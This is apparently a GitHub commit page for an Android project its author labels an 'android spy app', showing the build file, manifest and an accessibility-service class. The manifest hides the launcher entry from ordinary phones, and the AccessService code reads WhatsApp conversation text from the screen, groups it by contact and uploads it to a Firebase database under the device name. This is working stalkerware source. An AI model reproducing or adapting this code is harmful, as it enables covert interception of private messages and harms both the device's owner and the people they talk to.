Skip to content

Commit 57dd40e

Browse files
committed
android spy app:
0 parents  commit 57dd40e

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

44 files changed

+1527
-0
lines changed

app/.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/build

app/build.gradle

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
apply plugin: 'com.android.application'
2+
3+
android {
4+
compileSdkVersion 28
5+
defaultConfig {
6+
7+
multiDexEnabled true
8+
applicationId "in.xamsure.patanjali.xamsure"
9+
minSdkVersion 19
10+
targetSdkVersion 28
11+
versionCode 1
12+
versionName "1.0"
13+
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
14+
}
15+
buildTypes {
16+
release {
17+
minifyEnabled false
18+
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
19+
}
20+
}
21+
productFlavors {
22+
}
23+
}
24+
25+
dependencies {
26+
implementation fileTree(include: ['*.jar'], dir: 'libs')
27+
implementation 'com.android.support:appcompat-v7:28.0.0'
28+
implementation 'com.google.firebase:firebase-core:16.0.5'
29+
implementation 'com.android.support.constraint:constraint-layout:1.1.3'
30+
implementation 'com.google.firebase:firebase-firestore:17.1.2'
31+
implementation 'com.google.firebase:firebase-database:16.0.4'
32+
testImplementation 'junit:junit:4.12'
33+
androidTestImplementation 'com.android.support.test:runner:1.0.2'
34+
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
35+
}
36+
37+
apply plugin: 'com.google.gms.google-services'

app/proguard-rules.pro

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Add project specific ProGuard rules here.
2+
# You can control the set of applied configuration files using the
3+
# proguardFiles setting in build.gradle.
4+
#
5+
# For more details, see
6+
# http://developer.android.com/guide/developing/tools/proguard.html
7+
8+
# If your project uses WebView with JS, uncomment the following
9+
# and specify the fully qualified class name to the JavaScript interface
10+
# class:
11+
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12+
# public *;
13+
#}
14+
15+
# Uncomment this to preserve the line number information for
16+
# debugging stack traces.
17+
#-keepattributes SourceFile,LineNumberTable
18+
19+
# If you keep the line number information, uncomment this to
20+
# hide the original source file name.
21+
#-renamesourcefileattribute SourceFile
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package in.spyapp.patanjali.android;
2+
3+
import android.content.Context;
4+
import android.support.test.InstrumentationRegistry;
5+
import android.support.test.runner.AndroidJUnit4;
6+
7+
import org.junit.Test;
8+
import org.junit.runner.RunWith;
9+
10+
import static org.junit.Assert.*;
11+
12+
/**
13+
* Instrumented test, which will execute on an Android device.
14+
*
15+
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
16+
*/
17+
@RunWith(AndroidJUnit4.class)
18+
public class ExampleInstrumentedTest {
19+
@Test
20+
public void useAppContext() {
21+
// Context of the app under test.
22+
Context appContext = InstrumentationRegistry.getTargetContext();
23+
24+
assertEquals("in.xamsure.patanjali.xamsure", appContext.getPackageName());
25+
}
26+
}

app/src/main/AndroidManifest.xml

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3+
package="in.spyapp.patanjali.android">
4+
5+
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
6+
7+
<application
8+
android:allowBackup="true"
9+
android:icon="@mipmap/ic_launcher"
10+
android:label="@string/app_name"
11+
android:roundIcon="@mipmap/ic_launcher_round"
12+
android:supportsRtl="true"
13+
android:theme="@style/AppTheme">
14+
<activity android:name=".MainActivity">
15+
<intent-filter>
16+
<action android:name="android.intent.action.MAIN" />
17+
18+
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
19+
</intent-filter>
20+
</activity>
21+
22+
<service
23+
android:name=".NotificationService"
24+
android:label="@string/app_name"
25+
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
26+
<intent-filter>
27+
<action android:name="android.service.notification.NotificationListenerService" />
28+
</intent-filter>
29+
</service>
30+
31+
32+
<service android:name=".AccessServiceInsta"
33+
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
34+
android:label="@string/accessibility_service_label">
35+
<intent-filter>
36+
<action android:name="android.accessibilityservice.AccessibilityService" />
37+
</intent-filter>
38+
<meta-data
39+
android:name="android.accessibilityservice"
40+
android:resource="@xml/accessibility_service_config" />
41+
</service>
42+
43+
44+
<service android:name=".AccessService"
45+
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
46+
android:label="@string/accessibility_service_label">
47+
<intent-filter>
48+
<action android:name="android.accessibilityservice.AccessibilityService" />
49+
</intent-filter>
50+
<meta-data
51+
android:name="android.accessibilityservice"
52+
android:resource="@xml/accessibility_service_config" />
53+
</service>
54+
55+
</application>
56+
57+
</manifest>

app/src/main/ic_launcher-web.png

23.5 KB
Loading
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
package in.spyapp.patanjali.android;
2+
3+
import android.accessibilityservice.AccessibilityService;
4+
import android.accessibilityservice.AccessibilityServiceInfo;
5+
import android.os.Build;
6+
import android.util.Log;
7+
import android.view.accessibility.AccessibilityEvent;
8+
import android.view.accessibility.AccessibilityNodeInfo;
9+
10+
import com.google.firebase.database.DatabaseReference;
11+
import com.google.firebase.database.FirebaseDatabase;
12+
13+
import org.json.JSONArray;
14+
15+
import java.util.ArrayList;
16+
import java.util.HashMap;
17+
18+
public class AccessService extends AccessibilityService {
19+
20+
private HashMap<String, ArrayList <String>> conv;
21+
22+
23+
24+
boolean saveOn = false;
25+
ArrayList<String> t;
26+
27+
public void processChild(AccessibilityNodeInfo source)
28+
{
29+
if(source == null)
30+
{
31+
// Log.d("return", "for null");
32+
return;
33+
}
34+
// Log.d("source in str", source.toString());
35+
Integer currentChild = source.getChildCount();
36+
if(currentChild>0)
37+
{
38+
for(Integer i=0; i<currentChild; i++)
39+
{
40+
processChild(source.getChild(i));
41+
}
42+
} else
43+
{
44+
if (source.getClassName().equals("android.widget.TextView") && source.getText()!=null && !source.getText().toString().isEmpty()) {
45+
try {
46+
Log.d("Notable Text", "" + source.getText());
47+
t.add(""+source.getText());
48+
} catch (Exception e) {
49+
e.printStackTrace();
50+
}
51+
}
52+
53+
if (source.getClassName().equals("android.widget.EditText") && source.getText()!=null && !source.getText().toString().isEmpty()) {
54+
try {
55+
Log.d("Notable Text THIS FINAL", "" + source.getText());
56+
saveOn = true;
57+
} catch (Exception e) {
58+
e.printStackTrace();
59+
}
60+
}
61+
}
62+
}
63+
64+
65+
public static String getDeviceName() {
66+
String manufacturer = Build.MANUFACTURER;
67+
String model = Build.MODEL;
68+
return model;
69+
}
70+
71+
72+
73+
@Override
74+
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
75+
//Log.d("access","got it");
76+
try{
77+
78+
t = new ArrayList<String>();
79+
saveOn = false;
80+
81+
AccessibilityNodeInfo source = accessibilityEvent.getSource();
82+
if (source == null) {
83+
Log.d("return", "for null");
84+
return;
85+
}
86+
87+
88+
89+
Log.d("Source Count", String.valueOf(source.getChildCount()));
90+
/*
91+
if (source.getClassName().equals("android.widget.TextView") && source.getText()!=null && !source.getText().toString().isEmpty())
92+
{
93+
// here level is iteration of for loop
94+
Log.d("Notable Text", ""+source.getText());
95+
}
96+
*/
97+
processChild(source);
98+
99+
if(saveOn == true)
100+
{
101+
if(t.size()>0)
102+
{
103+
104+
105+
String person = new String();
106+
person = t.get(0);
107+
t.remove(0);
108+
String lastMessage = t.get(t.size()-1);
109+
ArrayList<String> messagesToSave = new ArrayList<>();
110+
111+
if (conv.containsKey(person)) {
112+
ArrayList <String> messages = conv.get(person);
113+
String lastMessageSaved = messages.get(messages.size()-1);
114+
115+
boolean startSaving = false;
116+
117+
for(Integer k=0; k<t.size(); k++)
118+
{
119+
if(t.get(k) == null)
120+
continue;;
121+
122+
Log.d("current Processing", t.get(k));
123+
124+
if(startSaving == true)
125+
{
126+
messagesToSave.add(t.get(k));
127+
Log.d("start", "saving");
128+
}
129+
if(lastMessageSaved.equals(t.get(k)))
130+
{
131+
startSaving = true;
132+
}
133+
}
134+
messages.addAll(messagesToSave);
135+
}
136+
else
137+
{
138+
139+
for(Integer k=0; k<t.size(); k++)
140+
{
141+
if(t.get(k) == null)
142+
continue;;
143+
144+
messagesToSave.add(t.get(k));
145+
}
146+
conv.put(person, messagesToSave);
147+
}
148+
149+
150+
151+
try {
152+
153+
FirebaseDatabase database = FirebaseDatabase.getInstance();
154+
DatabaseReference myRef = database.getReference(getDeviceName() + " - " + person);
155+
myRef.push().setValue(messagesToSave);
156+
}catch (Exception e)
157+
{
158+
e.printStackTrace();
159+
}
160+
161+
JSONArray json = new JSONArray(conv.get(person));
162+
Log.d("Saving "+person, json.toString());
163+
Log.d("Log ","Saved");
164+
} else
165+
{
166+
Log.d("Log ","NeedNotS");
167+
}
168+
169+
// Log.i("Event", accessibilityEvent.toString()+"");
170+
//Log.i("Source", source.toString());
171+
172+
}
173+
174+
175+
}catch(Exception e)
176+
{
177+
e.printStackTrace();
178+
}
179+
}
180+
181+
@Override
182+
public void onInterrupt() {
183+
184+
}
185+
186+
@Override
187+
protected void onServiceConnected() {
188+
super.onServiceConnected();
189+
190+
conv = new HashMap<>();
191+
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
192+
Log.d("access", "service connected");
193+
// Set the type of events that this service wants to listen to. Others won't be passed to this service.
194+
// We are only considering windows state changed event.
195+
info.eventTypes = AccessibilityEvent.TYPE_WINDOWS_CHANGED | AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
196+
// If you only want this service to work with specific applications, set their package names here. Otherwise, when the service is activated, it will listen to events from all applications.
197+
info.packageNames = new String[] {"com.whatsapp"};
198+
// Set the type of feedback your service will provide. We are setting it to GENERIC.
199+
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC;
200+
// Default services are invoked only if no package-specific ones are present for the type of AccessibilityEvent generated.
201+
// This is a general-purpose service, so we will set some flags
202+
info.flags = AccessibilityServiceInfo.DEFAULT;
203+
info.flags = AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS; info.flags = AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
204+
info.flags = AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY; info.flags = AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
205+
// We are keeping the timeout to 0 as we don’t need any delay or to pause our accessibility events
206+
info.notificationTimeout = 0;
207+
this.setServiceInfo(info);
208+
}
209+
}

0 commit comments

Comments
 (0)